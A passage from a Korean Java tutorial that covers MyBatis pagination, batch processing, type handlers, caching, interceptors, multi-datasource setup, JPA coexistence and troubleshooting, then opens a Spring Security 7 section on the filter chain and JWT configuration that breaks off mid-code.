MyBatis 는 페이징을 프레임워크가 대신 해 주지 않습니다. 직접 LIMIT 을 쓰거나, PageHelper 같은 플러그인을 붙이거나, 커서 방식을 씁니다.

① 직접 작성 — 가장 명확

public record PageRequest(int page, int size) {
    public int offset() { return (page - 1) * size; }
}

@Mapper
public interface OrderMapper {
    List<OrderDto> search(@Param("cond") OrderCondition cond,
                          @Param("offset") int offset,
                          @Param("limit") int limit);
    long countSearch(@Param("cond") OrderCondition cond);
}

@Service
public class OrderQueryService {
    public Page<OrderDto> search(OrderCondition cond, PageRequest req) {
        List<OrderDto> content = mapper.search(cond, req.offset(), req.size());
        long total = mapper.countSearch(cond);
        return new PageImpl<>(content, org.springframework.data.domain
                .PageRequest.of(req.page() - 1, req.size()), total);
    }
}
DB 별 문법 차이 — MySQL·PostgreSQL 은 LIMIT ? OFFSET ?, 오라클 12c+ 는 OFFSET ? ROWS FETCH NEXT ? ROWS ONLY, 그 이전 오라클은 ROWNUM 서브쿼리입니다.

② PageHelper — 자동 변환

// implementation("com.github.pagehelper:pagehelper-spring-boot-starter:2.1.0")

public PageInfo<OrderDto> search(OrderCondition cond, int page, int size) {
    PageHelper.startPage(page, size);                // ★ 바로 다음 쿼리에만 적용
    List<OrderDto> list = mapper.search(cond);       // LIMIT 이 자동으로 붙는다
    return new PageInfo<>(list);                     // 총 건수도 자동 계산
}

// 장점 — SQL 을 건드리지 않고 페이징. DB 방언도 자동
// 단점
// · startPage 직후의 쿼리에만 적용된다 (사이에 다른 쿼리가 오면 오작동)
// · 카운트 쿼리를 자동 생성하므로 복잡한 쿼리에서 비효율적일 수 있다
// · 인터셉터로 SQL 을 조작하므로 디버깅이 어려워진다
<!-- ③ 커서(키셋) 페이징 — 대용량에서 유일하게 일정한 성능 -->
<select id="scroll" resultType="OrderDto">
  SELECT <include refid="orderColumns"/>
    FROM orders o
   WHERE o.deleted = false
  <if test="lastId != null">
     AND o.id &lt; #{lastId}
  </if>
   ORDER BY o.id DESC
   LIMIT #{size}
</select>

<!-- ④ 커버링 인덱스 응용 — 깊은 페이지 대응 (MySQL) -->
<select id="deepPage" resultType="OrderDto">
  SELECT o.*
    FROM orders o
    JOIN (SELECT id FROM orders
           WHERE deleted = false
           ORDER BY created_at DESC
           LIMIT #{limit} OFFSET #{offset}) t ON t.id = o.id
   ORDER BY o.created_at DESC
</select>
정렬 기준에 유일 컬럼을 반드시 포함하세요. ORDER BY created_at DESC만으로는 같은 시각의 행 순서가 매번 달라져 페이지 사이에서 데이터가 중복되거나 빠집니다. ORDER BY created_at DESC, id DESC 처럼 타이브레이커를 두세요.
MYB 09

배치 · 대량 처리

MyBatis 의 강점이 가장 잘 드러나는 영역입니다. 수만 건 INSERT와 수백만 건 조회를 메모리 안전하게 처리하는 방법입니다.

대량 INSERT — 두 가지 방법

// ① foreach 다중 VALUES — 가장 간단하고 빠르다
// <insert id="insertAll">
//   INSERT INTO order_items(order_id, product_id, quantity)
//   VALUES <foreach collection="items" item="i" separator=",">
//            (#{i.orderId}, #{i.productId}, #{i.quantity})
//          </foreach>
// </insert>

public void bulkInsert(List<OrderItem> items) {
    // ⚠️ 한 번에 너무 많이 넣으면 SQL 길이 제한에 걸린다 → 청크로
    Lists.partition(items, 500).forEach(mapper::insertAll);
}

// ② ExecutorType.BATCH — JDBC 배치 사용
@Service
@RequiredArgsConstructor
public class BulkService {
    private final SqlSessionFactory sqlSessionFactory;

    public void bulkInsert(List<OrderItem> items) {
        try (SqlSession session = sqlSessionFactory.openSession(ExecutorType.BATCH)) {
            OrderItemMapper mapper = session.getMapper(OrderItemMapper.class);
            for (int i = 0; i < items.size(); i++) {
                mapper.insert(items.get(i));
                if ((i + 1) % 1000 == 0) session.flushStatements();   // 1000건마다 전송
            }
            session.flushStatements();
            session.commit();
        }
    }
}
// MySQL 이라면 JDBC URL 에 rewriteBatchedStatements=true 를 반드시 추가
// (없으면 배치가 한 건씩 나가 효과가 없다)

대량 조회 — 스트리밍

// ① ResultHandler — 한 행씩 처리하고 버린다
@Mapper
public interface OrderMapper {
    @Options(fetchSize = 1000, resultSetType = ResultSetType.FORWARD_ONLY)
    void streamAll(@Param("status") String status,
                   ResultHandler<OrderDto> handler);
}

@Transactional(readOnly = true)
public void export(Consumer<OrderDto> sink) {
    mapper.streamAll("PAID", ctx -> sink.accept(ctx.getResultObject()));
    // 100만 건도 메모리가 일정하게 유지된다
}

// ② Cursor — try-with-resources 로 명확하게
@Select("SELECT * FROM orders WHERE status = #{status}")
@Options(fetchSize = 1000)
Cursor<OrderDto> cursorAll(@Param("status") String status);

@Transactional(readOnly = true)
public void export2() {
    try (Cursor<OrderDto> cursor = mapper.cursorAll("PAID")) {
        for (OrderDto o : cursor) { process(o); }
    }
}
// ⚠️ 커서는 트랜잭션·세션이 열려 있는 동안만 유효하다
// ⚠️ MySQL 은 URL 에 useCursorFetch=true 가 있어야 fetchSize 대로 끊어 읽습니다
MySQL 에서 fetchSize 가 안 먹는 이유 — 커넥터가 기본적으로 전체 결과를 메모리로 가져옵니다. useCursorFetch=true 를 URL 에 넣거나 fetchSize = Integer.MIN_VALUE 로 스트리밍 모드를 켜야 합니다.
작업권장 방법
수백 건 INSERTforeach 다중 VALUES
수만~수십만 건 INSERTExecutorType.BATCH + 청크 flush
대량 UPDATE (조건 기반)단일 UPDATE 문 하나로 (WHERE 조건으로)
행마다 다른 값으로 UPDATEBATCH 실행 또는 CASE WHEN · 임시 테이블 조인
UPSERTDB 문법 그대로 — ON DUPLICATE KEY·ON CONFLICT·MERGE
수백만 건 조회ResultHandler·Cursor + fetchSize
10만 건 INSERT — 걸린 시간 (같은 망 · 왕복 0.5 ms 가정 대표값) 0 20 40 60 80 초 한 건씩 (SIMPLE) 약 75 초 · 왕복 100,000 번 BATCH · 1000건마다 flush 약 4 초 · 왕복 100 번 LOAD DATA · COPY 약 1 초 · DB 전용 대량 적재 MySQL 드라이버는 rewriteBatchedStatements=true 여야 실제로 묶여 나갑니다 배치 모드에서는 갱신 행 수가 즉시 돌아오지 않습니다 — 반환값 검사 코드도 함께 고치세요 1000건마다 flushStatements() 로 비우세요 — 안 비우면 메모리에 계속 쌓입니다 중간 실패에 대비해 임시 표에 넣고 한 번에 옮기는 방식이 안전합니다
대량 처리에서 고칠 것은 SQL 이 아니라 몇 번 왕복하는가입니다.
MYB 10

타입 핸들러

자바 타입과 JDBC 타입 사이의 변환기입니다. enum 코드값, JSON 컬럼, 암호화, 커스텀 값 객체에 씁니다.

// ① enum 을 코드값으로 저장 — 가장 흔한 쓰임
public interface CodeEnum {
    String getCode();
}

public enum OrderStatus implements CodeEnum {
    NEW("01"), PAID("02"), SHIPPED("03"), DONE("04"), CANCELED("99");

    private final String code;
    OrderStatus(String code) { this.code = code; }
    @Override public String getCode() { return code; }

    public static OrderStatus fromCode(String code) {
        return Arrays.stream(values())
                .filter(v -> v.code.equals(code))
                .findFirst()
                .orElseThrow(() -> new IllegalArgumentException("알 수 없는 코드: " + code));
    }
}

@MappedTypes(OrderStatus.class)
public class OrderStatusTypeHandler extends BaseTypeHandler<OrderStatus> {

    @Override
    public void setNonNullParameter(PreparedStatement ps, int i,
                                    OrderStatus param, JdbcType jdbcType) throws SQLException {
        ps.setString(i, param.getCode());
    }

    @Override
    public OrderStatus getNullableResult(ResultSet rs, String columnName) throws SQLException {
        String code = rs.getString(columnName);
        return code == null ? null : OrderStatus.fromCode(code);
    }

    @Override
    public OrderStatus getNullableResult(ResultSet rs, int columnIndex) throws SQLException {
        String code = rs.getString(columnIndex);
        return code == null ? null : OrderStatus.fromCode(code);
    }

    @Override
    public OrderStatus getNullableResult(CallableStatement cs, int columnIndex) throws SQLException {
        String code = cs.getString(columnIndex);
        return code == null ? null : OrderStatus.fromCode(code);
    }
}

// 등록 — application.yml
// mybatis:
//   type-handlers-package: com.example.mapper.handler

JSON 컬럼 핸들러

@MappedTypes(ProductOptions.class)
@MappedJdbcTypes(JdbcType.VARCHAR)
public class JsonTypeHandler extends BaseTypeHandler<ProductOptions> {

    private static final ObjectMapper MAPPER = new ObjectMapper();

    @Override
    public void setNonNullParameter(PreparedStatement ps, int i,
                                    ProductOptions param, JdbcType jt) throws SQLException {
        try { ps.setString(i, MAPPER.writeValueAsString(param)); }
        catch (JsonProcessingException e) { throw new SQLException(e); }
    }

    @Override
    public ProductOptions getNullableResult(ResultSet rs, String col) throws SQLException {
        return parse(rs.getString(col));
    }
    // 나머지 오버라이드 생략

    private ProductOptions parse(String json) throws SQLException {
        if (json == null) return null;
        try { return MAPPER.readValue(json, ProductOptions.class); }
        catch (JsonProcessingException e) { throw new SQLException(e); }
    }
}

적용 범위 지정

<!-- ① 전역 등록 (type-handlers-package) — 해당 타입 전부에 적용 -->

<!-- ② resultMap 에서 지정 -->
<result property="status" column="status"
        typeHandler="com.example.OrderStatusTypeHandler"/>

<!-- ③ 파라미터에서 지정 -->
WHERE status = #{status, typeHandler=com.example.OrderStatusTypeHandler}

<!-- ④ 기본 제공 enum 핸들러 -->
<!-- EnumTypeHandler        : enum 이름을 문자열로 (기본값) -->
<!-- EnumOrdinalTypeHandler : 순서를 숫자로 (권장하지 않음) -->
코드값 enum 이 여럿이면 제네릭 핸들러 하나를 만들어 CodeEnum 인터페이스를 구현한 모든 enum 에 적용하세요 — enum 마다 핸들러를 만들 필요가 없어집니다.
MYB 11

캐시 — 켜기 전에 읽을 것

MyBatis 에도 1차·2차 캐시가 있습니다. 그런데 2차 캐시는 대부분의 실무에서 위험합니다 — 왜 그런지 알고 판단해야 합니다.

1차 캐시 — SqlSession 범위

@Transactional(readOnly = true)
public void demo(Long id) {
    OrderDto a = mapper.findById(id);
    OrderDto b = mapper.findById(id);
    // 같은 트랜잭션(=같은 SqlSession)이면 두 번째는 쿼리가 안 나간다
    System.out.println(a == b);      // true
}

// 끄고 싶다면
// mybatis.configuration.local-cache-scope: STATEMENT

// ⚠️ 주의 — 중간에 UPDATE 가 있으면 캐시가 비워진다 (정상 동작)
// ⚠️ 다른 세션에서 바꾼 값은 보이지 않는다 (트랜잭션 격리 수준의 문제)

2차 캐시 — 신중히

<mapper namespace="com.example.mapper.CodeMapper">
  <cache eviction="LRU" flushInterval="600000" size="1024" readOnly="true"/>
  <!-- 이 매퍼의 select 결과가 캐시된다 -->

  <select id="findAllCodes" resultType="CodeDto" useCache="true">...</select>
  <select id="findLatest" resultType="OrderDto" useCache="false">...</select>
</mapper>
2차 캐시를 권하지 않는 이유 — ① 네임스페이스 단위라 다른 매퍼가 같은 테이블을 수정해도 무효화되지 않습니다, ② 서버가 여러 대면 서버마다 다른 값을 봅니다, ③ readOnly=false 면 객체를 직렬화·복제해 오히려 느려질 수 있습니다. Redis·Caffeine 을 서비스 계층에서 쓰는 편이 통제하기 쉽습니다.
// 권장 — 캐시는 서비스 계층에서 명시적으로
@Service
@RequiredArgsConstructor
public class CodeService {

    private final CodeMapper codeMapper;

    @Cacheable(cacheNames = "codes", key = "#type")     // 스프링 캐시
    public List<CodeDto> findByType(String type) {
        return codeMapper.findByType(type);
    }

    @CacheEvict(cacheNames = "codes", allEntries = true)
    public void reload() { /* 코드 갱신 시 호출 */ }
}
// 어디서 캐시되고 언제 비워지는지가 코드에 드러난다
캐시는 두 단계 — 두 번째는 켜기 전에 생각해야 합니다 1차 캐시 — 세션(트랜잭션) 안 같은 SQL·같은 파라미터면 두 번째부터 안 나갑니다 기본으로 켜져 있고 안전합니다 쓰기가 일어나면 그 자리에서 비워집니다 2차 캐시 — 매퍼 단위 · 세션 공유 애플리케이션 메모리에 남습니다 서버가 여러 대면 각자 다른 값을 들 수 있습니다 기본값이 꺼져 있는 데는 이유가 있습니다 2차 캐시가 위험한 상황 다른 서버가 데이터를 바꿨을 때 — 알 방법이 없습니다 배치·외부 시스템이 DB 를 직접 고칠 때도 마찬가지 "왜 옛날 값이 보이지"의 원인이 됩니다 권장 2차 캐시 대신 Redis 같은 외부 캐시를 명시적으로 무엇을 얼마나 담을지 코드에 드러나고, 모든 서버가 같은 값을 봅니다 거의 안 바뀌는 코드 테이블 정도만 2차 캐시를 고려하세요
캐시는 보이는 곳에 두는 편이 결국 관리하기 쉽습니다.
서버 두 대 · 2차 캐시는 각자 — 가격을 1,000 에서 1,200 으로 바꾼 뒤 서버 A 서버 B 09:00 09:05 09:06 10:00 조회 → 1,000 A 의 캐시에 담김 다시 조회 → 여전히 1,000 B 의 UPDATE 를 모름 만료 후에야 1,200 flushInterval 경과 UPDATE → 1,200 비워지는 건 B 의 캐시뿐 옛 값이 보이는 구간 Redis 처럼 모든 서버가 한곳을 보면 이 어긋남이 생기지 않습니다
2차 캐시는 서버마다 따로 삽니다 — 캐시는 보이는 곳에 두는 편이 결국 관리하기 쉽습니다.
MYB 12

인터셉터(플러그인)

MyBatis 실행 과정에 끼어드는 확장점입니다. 쿼리 로깅·실행 시간 측정·공통 컬럼 자동 채우기·멀티테넌시에 씁니다.

// 슬로우 쿼리 로깅 + 실행 시간 측정
@Intercepts({
    @Signature(type = Executor.class, method = "query",
               args = {MappedStatement.class, Object.class, RowBounds.class, ResultHandler.class}),
    @Signature(type = Executor.class, method = "update",
               args = {MappedStatement.class, Object.class}),
})
@Component
public class SlowQueryInterceptor implements Interceptor {

    private static final Logger log = LoggerFactory.getLogger(SlowQueryInterceptor.class);
    private static final long THRESHOLD_MS = 1000;

    @Override
    public Object intercept(Invocation invocation) throws Throwable {
        MappedStatement ms = (MappedStatement) invocation.getArgs()[0];
        long start = System.currentTimeMillis();
        try {
            return invocation.proceed();
        } finally {
            long elapsed = System.currentTimeMillis() - start;
            if (elapsed >= THRESHOLD_MS) {
                log.warn("슬로우 쿼리 {}ms — {}", elapsed, ms.getId());
            }
        }
    }
}

// 공통 컬럼 자동 채우기 (created_by · updated_at 등)
@Intercepts(@Signature(type = Executor.class, method = "update",
                       args = {MappedStatement.class, Object.class}))
@Component
public class AuditInterceptor implements Interceptor {
    @Override
    public Object intercept(Invocation invocation) throws Throwable {
        Object param = invocation.getArgs()[1];
        if (param instanceof Auditable auditable) {
            auditable.setUpdatedAt(LocalDateTime.now());
            auditable.setUpdatedBy(currentUser());
        }
        return invocation.proceed();
    }
}

끼어들 수 있는 지점

대상할 수 있는 일
Executor쿼리 실행 전후 — 로깅·시간 측정·캐시
StatementHandlerSQL 문자열 조작 — 페이징·힌트 추가·테넌트 조건
ParameterHandler파라미터 가공 — 암호화
ResultSetHandler결과 가공 — 복호화·마스킹
인터셉터는 강력하지만 위험합니다. SQL 을 몰래 바꾸면 “분명히 이렇게 썼는데 다른 쿼리가 나간다”는 상황이 생겨 디버깅이 매우 어려워집니다. 정말 전역적으로 필요한 것에만 쓰세요.

등록과 순서

// Spring Boot 에서는 @Component 만 붙이면 자동 등록된다

// 순서를 제어하려면 SqlSessionFactory 를 직접 구성
@Bean
public SqlSessionFactory sqlSessionFactory(DataSource ds) throws Exception {
    SqlSessionFactoryBean bean = new SqlSessionFactoryBean();
    bean.setDataSource(ds);
    bean.setPlugins(new SlowQueryInterceptor(), new AuditInterceptor());
    return bean.getObject();
}
// 나중에 등록된 것이 바깥쪽에서 실행된다 (프록시 체인)
MYB 13

Spring 통합 · 다중 데이터소스

트랜잭션은 스프링이 관리하고 MyBatis 는 그 위에서 돕니다. 여러 DB를 쓰거나 읽기 복제본으로 나눌 때의 구성도 함께 봅니다.

// 기본 — 스프링 트랜잭션이 SqlSession 을 관리한다
@Service
@RequiredArgsConstructor
public class OrderService {

    private final OrderMapper orderMapper;
    private final OrderItemMapper itemMapper;

    @Transactional                       // 두 매퍼가 같은 커넥션·트랜잭션을 쓴다
    public Long place(OrderCreateRequest req) {
        OrderDto order = OrderDto.from(req);
        orderMapper.insert(order);                    // useGeneratedKeys 로 id 채워짐

        List<OrderItemDto> items = req.items().stream()
                .map(i -> OrderItemDto.of(order.getId(), i))
                .toList();
        itemMapper.insertAll(items);

        return order.getId();
    }

    @Transactional(readOnly = true)      // 읽기 전용 힌트 (읽기 복제본 라우팅에 사용)
    public OrderDetailDto get(Long id) {
        return orderMapper.findDetail(id);
    }
}

다중 데이터소스 구성

@Configuration
@MapperScan(basePackages = "com.example.order.mapper",
            sqlSessionTemplateRef = "orderSqlSessionTemplate")
public class OrderDataSourceConfig {

    @Bean @Primary
    @ConfigurationProperties("spring.datasource.order")
    public DataSource orderDataSource() {
        return DataSourceBuilder.create().type(HikariDataSource.class).build();
    }

    @Bean
    public SqlSessionFactory orderSqlSessionFactory(
            @Qualifier("orderDataSource") DataSource ds) throws Exception {
        SqlSessionFactoryBean bean = new SqlSessionFactoryBean();
        bean.setDataSource(ds);
        bean.setMapperLocations(new PathMatchingResourcePatternResolver()
                .getResources("classpath:mapper/order/*.xml"));
        org.apache.ibatis.session.Configuration cfg =
                new org.apache.ibatis.session.Configuration();
        cfg.setMapUnderscoreToCamelCase(true);
        bean.setConfiguration(cfg);
        return bean.getObject();
    }

    @Bean
    public SqlSessionTemplate orderSqlSessionTemplate(
            @Qualifier("orderSqlSessionFactory") SqlSessionFactory factory) {
        return new SqlSessionTemplate(factory);
    }

    @Bean @Primary
    public PlatformTransactionManager orderTransactionManager(
            @Qualifier("orderDataSource") DataSource ds) {
        return new DataSourceTransactionManager(ds);
    }
}
// 정산용 DB 는 같은 구조로 하나 더 만든다 (basePackages·빈 이름만 다르게)

읽기 복제 라우팅

public class RoutingDataSource extends AbstractRoutingDataSource {
    @Override
    protected Object determineCurrentLookupKey() {
        return TransactionSynchronizationManager.isCurrentTransactionReadOnly()
                ? "reader" : "writer";
    }
}

@Bean @Primary
public DataSource dataSource(@Qualifier("routing") DataSource routing) {
    return new LazyConnectionDataSourceProxy(routing);   // ★ 필수
}

// ⚠️ MyBatis 특유의 주의점
// · @Transactional 없이 매퍼를 부르면 매번 새 세션·커넥션이다
//   → readOnly 판단이 안 되어 항상 writer 로 간다
// · 조회 메서드에도 @Transactional(readOnly = true) 를 붙이는 습관이 필요하다
조회에 readOnly = true 를 붙이는 것은 라우팅뿐 아니라 플러시 생략·DB 힌트 측면에서도 이득입니다. 팀 컨벤션으로 정해 두세요.
MYB 14

JPA 와 함께 쓰기

실무에서 가장 현실적인 구성입니다. 쓰기·도메인 규칙은 JPA, 복잡한 조회·통계·배치는 MyBatis. 같은 트랜잭션에서 함께 동작하지만 주의할 점이 있습니다.

역할을 나눠 함께 쓰는 구조 Service (@Transactional) JPA Repository 저장·수정·도메인 규칙·단건 조회 MyBatis Mapper 복잡한 조회·통계·배치 같은 DataSource · 같은 트랜잭션
둘은 같은 커넥션을 쓰므로 한 트랜잭션 안에서 원자성이 보장됩니다.

함께 쓸 때 주의점

@Service
@RequiredArgsConstructor
public class OrderService {
    private final OrderRepository orderRepository;   // JPA
    private final OrderQueryMapper orderQueryMapper; // MyBatis

    @Transactional
    public void payAndReport(Long id) {
        Order order = orderRepository.findById(id).orElseThrow();
        order.markPaid();                            // 더티 체킹 — 아직 flush 안 됨

        // ⚠️ MyBatis 는 영속성 컨텍스트를 모른다 → 옛 값을 읽는다!
        OrderStat stat = orderQueryMapper.findStat(id);

        // ✅ 명시적으로 flush 한 뒤 조회
        orderRepository.flush();
        OrderStat stat2 = orderQueryMapper.findStat(id);
    }

    @Transactional
    public void bulkUpdate(List<Long> ids) {
        orderQueryMapper.bulkUpdateStatus(ids, "EXPIRED");   // MyBatis 로 대량 수정
        entityManager.clear();                                // ✅ JPA 캐시 비우기
    }
}

역할 분담 기준

작업담당
단건 저장·수정·삭제JPA (도메인 메서드 + 더티 체킹)
단건 조회JPA
복잡한 검색·목록MyBatis 또는 QueryDSL
통계·집계·리포트MyBatis (윈도 함수·CTE 자유롭게)
대량 INSERT·UPDATEMyBatis(배치) 또는 JdbcTemplate
레거시 테이블 접근MyBatis (매핑을 억지로 만들 필요 없음)
같은 테이블을 두 방식으로 쓰는 것은 피하세요. 캐시 불일치와 갱신 순서 문제가 생깁니다. 테이블 또는 유스케이스 단위로 담당을 나누는 편이 안전합니다.
MYB 15

성능 · 트러블슈팅

MyBatis 는 SQL 이 곧 성능입니다. 프레임워크 튜닝보다 쿼리와 인덱스를 보는 것이 먼저입니다.

보이게 만들기

# 실제 바인딩된 SQL 보기 (개발 환경)
# implementation("com.github.gavlyukovskiy:p6spy-spring-boot-starter:1.9.2")
decorator:
  datasource:
    p6spy:
      enable-logging: true
      multiline: true

logging:
  level:
    com.example.mapper: debug     # 매퍼 패키지 (쿼리 + 파라미터 + 결과 건수)
    p6spy: info                   # p6spy 로그 (실행 시간 포함)
MyBatis 로그가 안 나오면 로거 이름이 매퍼 인터페이스의 패키지인지 확인하세요. org.mybatis 가 아니라 내 매퍼 패키지가 기준입니다.

성능 체크리스트

  • 인덱스 — 컬럼에 함수를 씌우지 않기, 앞 와일드카드 LIKE 피하기
  • IN 절 크기 — 수백 개를 넘으면 청크로 나누거나 임시 테이블
  • SELECT * 금지 — 필요한 컬럼만 (특히 CLOB·BLOB)
  • N+1 — select 속성 지연 로딩 사용 시 주의
  • fetchSize — 대량 조회에서 반드시 설정
  • 배치 — 대량 INSERT 는 ExecutorType.BATCH
  • 커넥션 유지 시간 — 트랜잭션 안에서 외부 API 호출 금지
에러 · 증상원인과 해결
BindingException
Invalid bound statement (not found)
namespace·id 불일치 · XML 이 resources 밖 · mapper-locations 경로 확인
TooManyResultsException단건 조회인데 여러 행 → 조건 확인 또는 List 반환으로
결과가 전부 null컬럼명 불일치 → 별칭·map-underscore-to-camel-case·resultMap
ParameterMappingException@Param 누락 또는 이름 오타
SQL 문법 오류(<)XML 이스케이프 → &lt; 또는 CDATA
IN 절이 비어 문법 오류<if> 로 빈 리스트 검사
enum 변환 실패타입 핸들러 등록 확인 (10 참고)
배치가 안 빨라진다rewriteBatchedStatements=true(MySQL) · flush 주기 확인
커서 조회 중 세션 종료커서는 트랜잭션 안에서만 유효 → @Transactional 확인
OOM (대량 조회)fetchSize·스트리밍 미적용 → ResultHandler·Cursor
MYB 16

치트시트 · 선택 가이드

자주 찾는 태그와, 세 가지 데이터 접근 기술 중 무엇을 언제 쓸지에 대한 최종 정리입니다.

XML 태그 요약

<select id="" resultType="" resultMap="" parameterType="">
<insert id="" useGeneratedKeys="true" keyProperty="id">
<update id=""> / <delete id="">

<!-- 동적 SQL -->
<if test="x != null">
<choose><when test=""></when><otherwise></otherwise></choose>
<where>      <!-- 앞의 AND/OR 자동 제거 -->
<set>        <!-- 끝의 쉼표 자동 제거 -->
<trim prefix="" prefixOverrides="" suffix="" suffixOverrides="">
<foreach collection="" item="" index="" open="" separator="" close="">
<bind name="" value=""/>

<!-- 재사용 -->
<sql id="cols">...</sql>
<include refid="cols"/>

<!-- 매핑 -->
<resultMap id="" type="" extends="">
  <id/> <result/>
  <association property="" javaType=""/>
  <collection property="" ofType=""/>
  <constructor><idArg/><arg/></constructor>
</resultMap>

<!-- 이스케이프 -->
&lt;  &gt;  &amp;   또는  <![CDATA[ a < b ]]>

세 기술 최종 비교

기준JPA / QueryDSL / MyBatis
SQL 통제낮음 / 중간 / 완전
타입 안전중간 / 높음 / 낮음
동적 쿼리어려움 / 쉬움 / 쉬움
도메인 표현강함 / 강함 / 약함
복잡한 통계약함 / 중간 / 강함
대량 처리약함 / 중간 / 강함
학습 곡선높음 / 중간 / 낮음
DB 이식성높음 / 높음 / 낮음
하나만 고르라면 — 도메인이 복잡한 서비스는 JPA + QueryDSL, 데이터 가공·통계가 중심이면 MyBatis. 규모가 커지면 대부분 둘 다 쓰게 됩니다.
세 탭을 모두 보셨다면 — 데이터 · JPA(기초) → JPA 심화(상속·락·대용량) → QueryDSL(타입 안전 동적 쿼리) → MyBatis(SQL 직접 작성)까지가 자바 데이터 계층의 전 범위입니다. 이제 어떤 요구에 어떤 도구를 쓸지를 근거를 갖고 정할 수 있습니다.
SPRING SECURITY 7 · JWT · OAUTH2

막는 것보다
흐름을 아는 게
먼저다

스프링 시큐리티가 어렵게 느껴지는 이유는 필터 체인이 안 보이기 때문입니다. “요청이 어느 필터를 지나 어디서 막히는지”만 잡으면 설정은 그냥 몇 줄짜리 코드가 됩니다.

13SECTIONS
15+기본 필터
401인증 실패
403권한 없음
SEC 01

전체 그림 — 필터 체인

스프링 시큐리티는 결국 서블릿 필터 묶음입니다. 요청은 컨트롤러에 닿기 전에 이 체인을 통과합니다.

요청
HTTP 요청 도착Authorization 헤더나 세션 쿠키를 달고 옵니다.
▼
1
SecurityContextHolderFilter세션에 저장된 인증 정보를 꺼내 SecurityContext 에 복원합니다. (Spring Security 6부터 — 5의 SecurityContextPersistenceFilter 를 대체)
▼
2
인증 필터 (UsernamePassword · JWT · OAuth2)자격 증명을 검사해 Authentication 객체를 만듭니다. 커스텀 JWT 필터가 들어가는 자리입니다.
▼
3
ExceptionTranslationFilter뒤에서 터진 인증·인가 예외를 잡아 401/403 으로 바꿉니다.
▼
4
AuthorizationFilter“이 사용자가 이 URL 에 접근해도 되는가”를 최종 판단합니다.
▼
5
DispatcherServlet → Controller여기까지 왔다면 인증·인가를 통과한 것입니다.

핵심 객체 4개

객체역할
SecurityContextHolder현재 스레드의 인증 정보 보관소 (ThreadLocal)
Authentication“누가” — principal · credentials · authorities
UserDetails사용자 정보 (아이디·비밀번호·권한)
GrantedAuthority권한 하나 (ROLE_ADMIN 등)
// 어디서든 현재 사용자 꺼내기
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
String username = auth.getName();
boolean isAdmin = auth.getAuthorities().stream()
        .anyMatch(a -> a.getAuthority().equals("ROLE_ADMIN"));

// 컨트롤러에서는 파라미터로 받는 게 깔끔합니다
@GetMapping("/me")
public UserRes me(@AuthenticationPrincipal CustomUserDetails user) {
    return UserRes.from(user.getUser());
}

401 vs 403 — 항상 헷갈리는 것

코드의미
401 Unauthorized“당신이 누군지 모릅니다” — 인증 실패
토큰 없음·만료·잘못됨
403 Forbidden“누군지는 알지만 권한이 없습니다” — 인가 실패
일반 사용자가 관리자 API 호출
build.gradle.kts — implementation("org.springframework.boot:spring-boot-starter-security")
의존성을 넣는 순간 모든 URL 이 잠깁니다. 기본 로그인 페이지가 뜨고, 콘솔에 임시 비밀번호가 출력됩니다. 다음 섹션의 설정을 넣어야 정상 동작합니다.
시큐리티 필터 체인 — 컨트롤러 앞에서 다 끝납니다 1 예외 처리 필터 뒤에서 던진 인증·권한 예외를 받아 401 또는 403 응답으로 바꿉니다 2 CORS · CSRF 다른 출처 요청 확인 · 상태를 바꾸는 요청의 토큰 검사 3 인증 필터 — 여기서 "누구인가" 가 정해집니다 세션에서 꺼내거나 JWT 를 검증합니다. 내가 만든 필터는 대개 이 자리에 끼웁니다 4 인가 필터 — "이걸 해도 되는가" 경로별 규칙과 권한을 확인합니다. 인증이 끝난 뒤에야 판단할 수 있습니다 컨트롤러에 도착했다면 이미 인증과 권한을 통과한 요청입니다 순서가 전부입니다 — 인증 필터를 인가 필터 뒤에 끼우면 항상 익명 사용자로 판단됩니다 권한 규칙은 좁은 경로부터 적으세요 — 넓은 규칙이 먼저 걸리면 뒤의 규칙은 검사되지 않습니다
시큐리티 설정이 안 먹을 때는 어느 필터 앞뒤에 있는지부터 확인하세요.
SEC 02

설정 기본형

Spring Security 7(Boot 4.0 = 7.0 · Boot 4.1 = 7.1)은 람다 DSL만 씁니다. 옛 자료를 복붙하면 컴파일부터 안 됩니다.

Security 7 에서 완전히 없어진 것 — 6 시절 “deprecated” 였던 것들이 이제 제거됐습니다.
· WebSecurityConfigurerAdapter — SecurityFilterChain 빈으로 대체
· authorizeRequests() — authorizeHttpRequests() 로
· 체이닝용 .and() — 람다 중첩으로만 작성
· AccessDecisionManager·AccessDecisionVoter — AuthorizationManager 로
· OAuth2 password grant — 사양 자체가 폐기돼 제거 (authorization code + PKCE 로)
또 URL 매칭 기본이 AntPathRequestMatcher·MvcRequestMatcher 에서 PathPatternRequestMatcher 로 바뀌었습니다. 문자열만 넘기는 requestMatchers("/api/**") 는 그대로 동작하지만, 매처를 직접 만들어 넘기던 코드는 고쳐야 합니다.
@Configuration
@EnableWebSecurity
@RequiredArgsConstructor
public class SecurityConfig {

    private final JwtAuthenticationFilter jwtFilter;

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        return http
            // REST API 는 세션을 안 쓰므로 CSRF 불필요
            .csrf(AbstractHttpConfigurer::disable)
            .cors(cors -> cors.configurationSource(corsConfigurationSource()))

            // 세션을 만들지 않는다 (JWT 방식)
            .sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))

            // URL 별 권한 — 위에서부터 순서대로 매칭됩니다 ★
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/api/auth/**", "/api/public/**").permitAll()
                .requestMatchers(HttpMethod.GET, "/api/products/**").permitAll()
                .requestMatchers("/actuator/health").permitAll()
                .requestMatchers("/api/admin/**").hasRole("ADMIN")
                .requestMatchers("/api/orders/**").hasAnyRole("USER", "ADMIN")
                .anyRequest().authenticated()          // 나머지는 인증 필요
            )

            // JWT 필터를 인증 필터 앞에 끼운다
            .addFilterBefore(jwtFilter, UsernamePasswordAuthenticationFilter.class)

            // 인증·인가 실패 시 JSON 으로 응답 (기본은 로그인 페이지로 리다이렉트)
            .exceptionHandling(e -> e
                .authenticationEntryPoint(new JwtAuthenticationEntryPoint())  // 401
                .accessDeniedHandler(new JwtAccessDeniedHandler())            // 403
            )

            .formLogin(AbstractHttpConfigurer::disable)
            .httpBasic(AbstractHttpConfigurer::disable)
            .build();
    }

    // 정적 리소스는 시큐리티를 아예 태우지 않는다 (성능)
    @Bean
    public WebSecurityCustomizer webSecurityCustomizer() {
        return web -> web.ignoring().requestMatchers("/css/**", "/js/**", "/images/**");
    }

    @Bean
